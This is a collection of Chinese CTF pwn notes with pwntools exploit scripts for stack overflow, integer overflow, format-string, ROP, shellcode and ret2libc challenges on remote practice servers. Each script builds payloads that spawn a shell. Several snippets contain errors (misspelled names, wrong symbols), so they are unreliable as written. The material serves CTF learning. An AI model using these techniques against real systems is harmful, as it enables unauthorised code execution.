ctf-pwn-栈漏洞合集
标准栈溢出
buu-pwn:1-5
buu-pwn:buu-get_started_3dsctf_2016
漏洞原理:根据栈图通过栈溢出覆盖如返回值,某个变量值等
例题题解
- buu-pwn1-5:http://poilzero.sipc115.club/index.php/archives/67/
- buu-get_started_3dsctf_2016:http://poilzero.sipc115.club/index.php/archives/106/
整数溢出
目的
利用整数溢出漏洞可以绕过注入strlen(s)的检测
基本原理如下:
- 整数类型在超出自己最大大小的时候会执行以下操作
- 将自己与最大数取模
- 例如1byte的 最大0-255当255+5的时候%256==4
bjdctf_2020_babystack2
此处整数溢出第一个输入值,使得第二个数组能够溢出写入
- nbytes查询是占四个字节,之后转换为unsigned int都是四个字节大小
- 但是unsigned的最高位是代表数字,signed的最高位是符号位
- 因此输入值
0x80000000
对应的0b10000000000000000000000000000000
在转换后就是0 - 而对于检测1
0x80000000
加上任何是数结果都是小于0的都能过长度检测
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-10h]
size_t nbytes; // [rsp+Ch] [rbp-4h]
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
LODWORD(nbytes) = 0;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let's try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf("%d", &nbytes);
if ( (signed int)nbytes > 10 )
{
puts("Oops,u name is too long!");
exit(-1);
}
puts("[+]What's u name?");
read(0, &buf, (unsigned int)nbytes);
return 0;
}
[BJDCTF 2nd]r2t3
本题与ciscn_2019_c_1的逃避strlen检查的区别在于
- ciscn_2019_c_1中是用gets输入的gets会输入直到eof或者\n因此可以读入\0
- [BJDCTF 2nd]r2t3是用read,read会输入直到\0截断,因此没法用\0逃避检查
'''
基本环境
'''
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
p = remote('node3.buuoj.cn', 28866)
elf = ELF('r2t3')
# rdi;ret: p64(0x400c83)
# ret: p64(0x4006b9)
sleep(0.3)
payload = b'a'*(0x11 + 0x4) + p32(0x804858B)
p.sendline(payload.ljust(0x104, b'a'))
p.sendline(payload)
sleep(0.3)
p.sendline(b'cat flag')
p.interactive()
格式化收集漏洞
泄露栈值
- 比如泄露eip,或者canary来后续hack
sipcoj exam1 pwn1 节选
# env
from pwn import*
context(os="linux", arch="i386", log_level="debug")
r = remote("39.96.76.44",28016)
elf = ELF('pwn1')
# read 1
# r.sendafter('step1:\n', 'AAAA %0x %0x %0x %0x %0x %0x %0x %0x %0x %0x %0x')
r.sendafter('step1:\n', '%15$p %19$p') # %15$p
r.recvuntil('0x')
canary_raw = r.recv(8)
canary_add = p32(int(canary_raw,16))
print('\n---canary is :',canary_raw)
# printf 1
r.recvuntil('0x')
main_raw = r.recv(8)
print('\n---main is :',main_raw)
print('raw',main_raw,main_raw.decode(encoding='utf8')[0:5],main_raw.decode(encoding='utf8')[5:8])
修改固定地址变量
漏洞原理:https://www.cnblogs.com/0xJDchen/p/5904816.html
buu-pwn-[第五空间2019 决赛]PWN5
from pwn import *
context.log_level = 'debug' # 显示调试的信息
p = remote("node3.buuoj.cn" , 26117)
payload = b'AAAA %0x %0x %0x %0x %0x %0x %0x %0x %0x %0x %0x'
# 第十个是 41414141 即偏移值是10
# 三个参数 偏移值 {要修改变量的地址:变量修改的值}
payload = fmtstr_payload(10,{0x804C044:520})
p.sendlineafter(b'your name:', payload)
p.sendlineafter(b'your passwd:', b'520')
p.sendlineafter('ok!!\n', 'cat flag')
p.interactive()
xctf-CGfsb
from pwn import *
context(os="linux", arch="i386", log_level="debug")
r = remote("111.200.241.244", 43348)
sleep(0.3)
r.sendlineafter('please tell me your name:', 'poilzero')
# payload = b'AAAA %0x %0x %0x %0x %0x %0x %0x %0x %0x %0x %0x %0x'
payload = fmtstr_payload(10,{0x0804A068:8})
r.sendlineafter('leave your message please:\n', payload)
r.interactive()
ROP总
搜索gadget
常见指令如下
# 查找可存储寄存器的代码
ROPgadget --binary [filepath] --only 'pop|ret'
# 查找字符串
ROPgadget --binary [filepath] --string "/bin/sh"
ROPgadget --binary [filepath] --string "sh"
# 查找有int 0x80的地址
ROPgadget --binary [filepath] --only 'int'
x64栈构造
# rdi;ret: p64(0x400c83)
# ret: p64(0x4006b9)
# ×64程序基本都存在的一个地址[pop rdi;ret]
pop_rdi_ret = p64(0x400c83)
# bin_sh_address system_address需要计算得到
# unbuntu 64x 调用system的时候要加ret进行对齐,其他的情况下不需要
ret = p64(0x4006b9)
payload = offset + ret
# 其中的pop_rdi_ret + p64(bin_sh_address)其实就是64x调用规范中的代表传入第一个参数
# 在64位中,有rdi,rsi,rdx,rcx,r8,r9几个寄存器保存参数。
payload += pop_rdi_ret + p64(bin_sh_address) + p64(system_address) + ret_add
x32栈构造
理论
构造格式
一个指令:cmd_address:gap_:arg1
- 后面不需要参数则不需要gap_
如system('/bin/sh')+exit(0)
- system_address:exit_address:binsh_address:p32(0x0)
- 其中,exit_address是再system('/bin/sh')执行完成后返回的地址
- 然后程序会执行exit(0)
如write(1, write_got, 0x4)
- write_plt:main_add:write_got:p32(0x4)
实例
picoctf_2018_rop chain
'''
基本环境
'''
from pwn import *
from LibcSearcher import *
p = remote('node3.buuoj.cn', 25395)
context(os='linux', arch='i386', log_level='debug')
elf = ELF('PicoCTF_2018_rop_chain')
# libc= ELF('libc-2.29.so')
win1 = 0x80485CB
win2 = 0x80485D8
flag = 0x804862B
payload = b'a'*(0x18+0x4)
payload+= p32(win1) + p32(win2) + p32(flag)
# -1163220307 -559039827
payload+= p32(0xBAAAAAAD) + p32(0xDEADBAAD)
sleep(0.3)
p.sendline(payload)
sleep(0.3)
p.interactive()
# flag{d6966bc5-1e31-45ed-9a7d-a7e66e04f25d}
ret2shellcode
others_shellcode
ciscn_2019_n_5
from pwn import *
# asm模块需要指定arch
context(arch='amd64', os="linux", log_level="debug")
elf = ELF('ciscn_2019_n_5')
r = remote("node3.buuoj.cn", 28651)
shell_code = asm(shellcraft.sh())
r.recvuntil("tell me your name\n")
r.sendline(shell_code)
payload = b'a'*0x28 + p64(0x601080)
r.recvuntil("What do you want to say to me?\n")
r.sendline(payload)
sleep(0.3)
r.sendline('cat flag')
r.interactive()
# flag{c38fb238-58ee-4da2-a300-6215a89cf5d7}
ret2libc
本文是以
- x64的cdecl函数调用约定(x64最常见的函数调用约定)为基础来撰写的
- 泄露puts函数地址为例,此外也可以泄露任何已使用过的函数(got表有数据)的地址来计算
注:x32的调用规则与本文不太一致(system_address + exit_address + binsh_address + b'0'*8)
基本原理
return to libc
通过栈溢出覆盖 eip使得程序 return to libc
- libc是动态链接共享库,里面有很多函数和字符串段
- 比如 system() puts() gets()
- 比如 '/bin/sh'
于是乎我只要构造溢出的数据,就能使得程序自动执行
system('/bin/sh')
也就是getshell了
libc address
但是其中有一个很关键的问题,libc动态库的函数或者字符串有以下几个特性
- 在程序每次运行的时候,libc库的基地址都是不一样的
- 但是无论如何,libc之间函数或者字符串的相对地址不变(确定libc版本的情况下)
因此我们得先获得libc的基址才能实现我们的目的return to libc,而这一点,我们是通过
- 先构造函数调用puts(elf.got['puts'])获得泄露的puts函数真实地址
- 然后通过LibSearcher('puts', puts_real_address)(确定libc版本确定相对地址)计算偏移值
- 从而得到我们想要的目标system('/bin/sh')调用所需要用到的参数
基本流程
所需的环境
注意,其中的rdi;ret部分内容根据你的需求不同。
传入的参数不止一个比如,你得去找相对应的rdi,rsi,rdx,rcx,r8,r9对应的ret。
from pwn import *
from LibcSearcher import *
p = remote('node3.buuoj.cn', 27417)
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('ciscn_2019_c_1')
# rdi;ret: p64(0x400c83)
# ret: p64(0x4006b9)
构造地址泄露
对于x64 liunx,通过栈溢出实现,调用puts实现泄露puts函数地址
- call-》plt-》got-》实际在内存中的地址
- plt表和got表是固定的,在plt文件内可以找到,内存地址不固定
- plt表:调用需要使用plt表的值
- got表:用于获取函数实际在内存中的地址
# 用来读取plt和got表 elf = ELF('test_c_1') # ×64程序基本都存在的一个地址[pop rdi;ret] pop_rdi_ret = p64(0x400c83) # 执行结束后返回到main函数地址(以防止栈结构被破坏) payload = offset # 即使用puts_plt表嗲用puts(*puts_got)==puts(puts_real_address) payload += pop_rdi_ret + p64(elf.got['puts']) + p64(elf.plt['puts']) # 执行完后返回main payload += p64(elf.symbols('main'))
获取libc信息
对泄露的puts函数实际地址进行格式化,以此为参数得到libc库的信息
# 使用pwntools读取得到返回的地址
raw_rev = ...
puts_real_addr = u64(raw_rev.ljust(8, b'\x00'))
# 使用LibSearcher进行搜索得到libc的库信息
# 比如版本号,类型等
libc = LibSearcher('puts', puts_real_addr)
计算sh地址
"/bin/sh",system地址
计算libc的基址从而计算出注入"/bin/sh",system函数的地址,从而实现调用system函数
# puts_addr是实际运行中libc中puts的地址,与libc.dump对应的地址比较计算得到基址 libc_base = puts_addr - libc.dump('gets') system_addr = libc_base + libc.dump('system') binsh_addr = libc_base + libc.dump('str_bin_sh')
调用shell
对于x64 liunx,调用system的标准压栈顺序:
# ×64程序基本都存在的一个地址[pop rdi;ret] pop_rdi_ret = p64(0x400c83) # bin_sh_address system_address需要计算得到 # unbuntu 64x 调用system的时候要加ret进行对齐,其他的情况下不需要 ret = p64(0x4006b9) payload = offset + ret # 其中的pop_rdi_ret + p64(bin_sh_address)其实就是64x调用规范中的代表传入第一个参数 # 在64位中,有rdi,rsi,rdx,rcx,r8,r9几个寄存器保存参数。 payload += pop_rdi_ret + p64(bin_sh_address) + p64(system_address)
bjdctf_2020_babyrop
本题LibcSearcher查不到(puts)而read,libc_start_main的对应找到的libc算出来的地址都是错的,尝试了buu提供的对应的ubuntu16的libc.so.2.23(libc.so.2.25)
#coding=utf-8
from pwn import *
from LibcSearcher import *
# libc = LibcSearcher('puts', 0x7f3d9e3866900000)
context(os="linux", arch="amd64", log_level="debug")
elf = ELF("./bjdctf_2020_babyrop")
lib = ELF("./libc-2.23.so")
r = remote('node3.buuoj.cn', 26887)# process("./easyheap")
pop_rdi = p64(0x400733)
ret = p64(0x4004c9)
# 64
offset = b'a'*0x20 + b'g'*0x8
payload = offset + pop_rdi + p64(0x601018) + p64(elf.plt['puts']) + p64(elf.symbols['main'])
r.sendlineafter('Pull up your sword and tell me u story!\n', payload)
raw = r.recv(6)
add = u64(raw.ljust(8, b'\x00'))
print(raw, raw.ljust(8, b'\x00'), hex(add))
# exit(0)
# libc = LibcSearcher('puts', add)
# LibcSearcher不能用
libc_base = add - lib.symbols['puts']
# ROPgadget --binary /home/poilzero/pwn/libc-2.23.so --string "/bin/sh"
binsh_add = libc_base + 0x18cd57
system_add= libc_base + lib.symbols['system']
payload = offset + ret + pop_rdi + p64(binsh_add) + p64(system_add)
r.sendlineafter('Pull up your sword and tell me u story!\n', payload)
sleep(0.3)
r.sendline('cat flag')
r.interactive()
# flag{93f43e9e-0ac4-40a8-8a10-bcbc76529f64}
铁人三项(第五赛区)_2018_rop
#coding=utf-8
from pwn import *
from LibcSearcher import *
context(os="linux", arch="i386", log_level="debug")
elf = ELF("./2018_rop")
r = remote('node3.buuoj.cn', 26607)# process("./easyheap")
# 32
offset = b'a'*0x88 + b'g'*0x4
payload = offset + p32(elf.plt['write']) + p32(elf.symbols['main'])
payload+= p32(1) + p32(elf.got['write']) + p32(0x4)
r.sendline(payload)
raw = r.recv(4)
add = u32(raw)
print(raw, hex(add))
libc = LibcSearcher('write', add)
libc_base = add - libc.dump('write')
system_add= libc_base + libc.dump('system')
binsh_add = libc_base + libc.dump('str_bin_sh')
payload = offset + p32(system_add) + p32(elf.symbols['m0ain']) + p32(binsh_add)
# r.sendlineafter('Hello, World\n', payload)
r.sendline(payload)
sleep(0.3)
r.sendline('cat flag')
r.interactive()
ciscn_2019_c_1
buu-pwn-ciscn_2019_c_1:https://blog.csdn.net/qq_41560595/article/details/108940662
注册机如下
'''
基本环境
'''
from pwn import *
from LibcSearcher import *
p = remote('node3.buuoj.cn', 27417)
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('ciscn_2019_c_1')
# rdi;ret: p64(0x400c83)
# ret: p64(0x4006b9)
'''
构造puts(*puts_got)
'''
# puts泄露libc-puts地址
offset = b'\0' + b'a'*(0x50 - 1 + 8)
payload = offset + p64(0x400c83)
payload += p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.symbols['main'])
p.sendlineafter(b'Input your choice!\n', b'1')
p.sendlineafter(b'Input your Plaintext to be encrypted\n', payload)
'''
获得libc库信息
'''
p.recvuntil(b'Ciphertext\n')
p.recvline()
raw = p.recvline()
add = u64(raw[:-1].ljust(8, b'\x00'))
print(raw, add)
libc = LibcSearcher('puts', add)
# exit(0)
'''
计算sh真实地址
'''
libc_base = add - libc.dump('puts')
binsh_add = libc_base + libc.dump('str_bin_sh')
system_add= libc_base + libc.dump('system')
payload = offset + p64(0x4006b9)
payload+= p64(0x400c83) + p64(binsh_add) + p64(system_add)
'''
调用system('/bin/sh')
'''
p.sendlineafter(b'Input your choice!\n', b'1')
p.sendlineafter(b'Input your Plaintext to be encrypted\n', payload)
'''
cat flag!
'''
sleep(0.3)
p.sendline(b'cat flag')
p.interactive()
ciscn_2019_en_2
# rdi;ret: p64(0x400c83) # ret: p64(0x4006b9)
这题和上一题差不多,两题写的时间间隔比较长,这一题是后来写的
from pwn import *
from LibcSearcher import *
context(os='linux', arch='i386', log_level='debug')
r = remote('node3.buuoj.cn', 29206)
elf = ELF('ciscn_2019_en_2')
# 溢出值 s 0x30但是之前还有一个变量应该是临时变量,总空间占据0x50
offset = b'\0' + b'a'*(0x50-1+8)
'''
step1 turn 1
get puts_real_add
'''
payload = '1'
r.sendlineafter('Input your choice!\n', payload)
# rdi;ret: p64(0x400c83)
# ret: p64(0x4006b9)
payload = offset + p64(0x400c83) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.symbols['main'])
r.sendlineafter('Input your Plaintext to be encrypted', payload)
'''
step2 turn 1
caculate the needed address
'''
r.recvuntil(b'Ciphertext\n\n')
raw = r.recv(6)
# u64即可字符串地址转真地址(数字类型),大小端转换
add = u64(raw.ljust(8, b'\x00'))
print(raw, hex(add))
libc = LibcSearcher('puts', add)
libc_base = add - libc.dump('puts')
system_add = libc_base + libc.dump('system')
binsh_add = libc_base + libc.dump('str_bin_sh')
'''
step3 turn 2
jump to system('/bin/sh')
'''
payload = '1'
r.sendlineafter('Input your choice!\n', payload)
# rdi;ret: p64(0x400c83)
# ret: p64(0x4006b9)
payload = offset + p64(0x4006b9) + p64(0x400c83) + p64(binsh_add) + p64(system_add)
r.sendlineafter('Input your Plaintext to be encrypted', payload)
sleep(0.3)
r.sendline('cat flag')
r.interactive()
OGeek2019-babyrop
基本流程
- 读取文件
sub_804871F
- 会输出文件内容
- 一个0x20u的read可以溢出
sub_80487D0
- 一个0xe7的read可以溢出
int __cdecl sub_804871F(int a1)
{
size_t v1; // eax
char s; // [esp+Ch] [ebp-4Ch]
char buf[7]; // [esp+2Ch] [ebp-2Ch]
unsigned __int8 v5; // [esp+33h] [ebp-25h]
ssize_t v6; // [esp+4Ch] [ebp-Ch]
memset(&s, 0, 0x20u);
memset(buf, 0, 0x20u);
sprintf(&s, "%ld", a1);
v6 = read(0, buf, 0x20u);
buf[v6 - 1] = 0;
v1 = strlen(buf);
if ( strncmp(buf, &s, v1) )
exit(0);
write(1, "Correct\n", 8u);
return v5;
}
ssize_t __cdecl sub_80487D0(char a1)
{
ssize_t result; // eax
char buf; // [esp+11h] [ebp-E7h]
if ( a1 == 127 )
result = read(0, &buf, 0xC8u);
else
result = read(0, &buf, a1);
return result;
}
整体思路
本地没给system函数的got/plt表,因此得泄露某个函数地址
- 得到libc库版本
- 得到libc库偏移值
然后计算得到system bin_sh_add地址才行。
而本题只有一个sprintf是输出函数,而sprintf执行前在main中都有清空buffer区的代码,因此不能把某个函数真实地址写入buffer区然后读取,但是可以劫持write把地址写入文件,然后正常读取。
因为是x32 cdecl调用,栈的格式为(这里用write泄露write地址):
构造格式:
一个指令:cmd_address:gap_:arg1
- 后面不需要参数则不需要gap_
如system('/bin/sh')+exit(0)
- system_address:exit_address:binsh_address:p32(0x0)
- 其中,exit_address是再system('/bin/sh')执行完成后返回的地址
- 然后程序会执行exit(0)
# write(1, *write_got, 4) 即写入模式,写入write真实地址,写入4个字节(32位)
# 因为要调用后返回main调用system因此返回地址为main函数地址
p32(write_plt_add):p32(main_add):p32(1):p32(write_got_add):p32(4)
然后第二次执行sub_804871F的时候直接溢出使得直接调用system('/bin/sh')即可
第二次payload构造
p32(system_add):p32(exit_add):p32(binsh_add):p32(0)
通过泄露的write地址计算所需的地址:
# 使用pwntools读取得到返回的地址
raw_rev = ...
puts_addr = u64(raw_rev.ljust(8, b'\x00'))
# 使用LibSearcher进行搜索得到libc的库信息
# 比如版本号,类型等
libc = LibSearcher('puts', puts_addr)
# puts_addr是实际运行中libc中puts的地址,与libc.dump对应的地址比较计算得到基址
libc_base = puts_addr - libc.symbol('gets')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
注册机
其中有个未解开的疑点,如何使用elf读取libc并且得到字符串地址,参考上一题
- LibSearcher生成的对象libc1
- pwntools中的ELF生成的对象的libc2
方法一:
libc1.dump('str_bin_sh')
方法二:
X无法验证:libc2.search("/bin/sh").next()
方法三:
前面都是使用pwntools或者LibSearcher,这一种是使用one_gadget指令实现
liunx下
one_gadget libc文件
其中三种都没法用,最后在网上找的地址
# env
from pwn import *
from LibcSearcher import *
context(os="linux", arch="i386", log_level="debug")
r = remote("node3.buuoj.cn",26970)
elf = ELF('pwn_baby')
libc= ELF('libc-2.23.so')
binsh_offset = libc.search('/bin/sh')
# binsh_real = int(binsh_offset,16)
print('bin_sh',binsh_offset, type(binsh_offset))
# print(libc.symbols['bin_sh'])
# print(libc.symbols['str_bin_sh'])
### turn 1
# 溢出覆盖v5
payload = b'\x00' + b'a'*6
payload+= b'\xff'
sleep(0.3)
r.sendline(payload)
# 第二个函数溢出得到write函数地址,然后返回到main重新执行一次
r.recvuntil('Correct\n')
payload = b'a'*(0xe7 + 4)
# payload+= p32(elf.plt['write']) + p32(elf.symbols['main']) + p32(1) + p32(elf.got['write']) + p32(4)
payload+= p32(elf.plt['write']) + p32(0x08048825) + p32(1) + p32(elf.got['write']) + p32(4)
r.sendline(payload)
### turn 2
# 格式化处理得到的write地址
write_raw_add = r.recv(4) # 四字节32位就是地址长度
write_add = u32(write_raw_add) # return int address
print('write_add', hex(write_add))
# 计算地址
# libc = LibcSearcher('write', write_add)
libc_base = write_add - libc.symbols['write']
system_add= libc_base + libc.symbols['system']
exit_add = libc_base + libc.symbols['exit']
libc = LibcSearcher('write', write_add)
binsh_add = libc_base + 0x15902b #libc.search('/bin/sh').next()#libc.dump('str_bin_sh') #libc.search('/bin/sh').next()
# 组成payload
payload = b'a'*(0xe7 + 4)
payload+= p32(system_add) + p32(exit_add) + p32(binsh_add) + p32(0)
# 溢出覆盖v5
payload2 = b'\x00' + b'a'*6
payload2+= b'\xff'
sleep(0.3)
r.sendline(payload2)
# send
r.recvuntil('Correct\n')
r.sendline(payload)
### flag
sleep(0.3)
r.sendline('cat flag')
r.interactive()
one_gadget
https://blog.csdn.net/weixin_43092232/article/details/105085880
基本逻辑
连上会送你printf的地址,而且本身也给了你libc的文件(白送)。
你只要通过这两者,算出bin_sh
的地址输入就会给你flag了
以下是组件的介绍:
libc
- LibSearcher生成的对象libc1
- ELF生成的对象的libc2
libc1.dump['puts']==libc2.symbol['puts']
字符串相对地址
- LibSearcher生成的对象libc1
- pwntools中的ELF生成的对象的libc2
方法一:
libc1.dump('str_bin_sh')
方法二:
X无法验证:libc2.search("/bin/sh").next()
方法三:
前面都是使用pwntools或者LibSearcher,这一种是使用one_gadget指令实现
liunx下
one_gadget libc文件
注册机
'''
基本环境
'''
from pwn import *
from LibcSearcher import *
p = remote('node3.buuoj.cn', 25683)
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('one_gadget')
libc= ELF('libc-2.29.so')
'''
得到printf的真实地址
'''
p.recvuntil(b'0x')
raw = p.recvline()
add = int(raw[:-1],16)
print(raw[:-1],add)
'''
计算bin_sh函数的地址然后会直接给你shell
'''
libc_base = add - libc.symbols['printf']
# libc_binsh= libc_base + libc.dump['str_bin_sh']
# libc_system=libc_base + libc.dump['system']
# one_gadget=libc.search('/bin/sh')#.next()#0x106ef8
# print(one_gadget)
# bin_sh基址可以通过one_gadget得到(最后一个)
bin_sh = libc_base+0x106ef8
sleep(0.3)
p.sendline(str(bin_sh))
'''
cat flag
'''
p.sendline(b'cat flag')
p.interactive()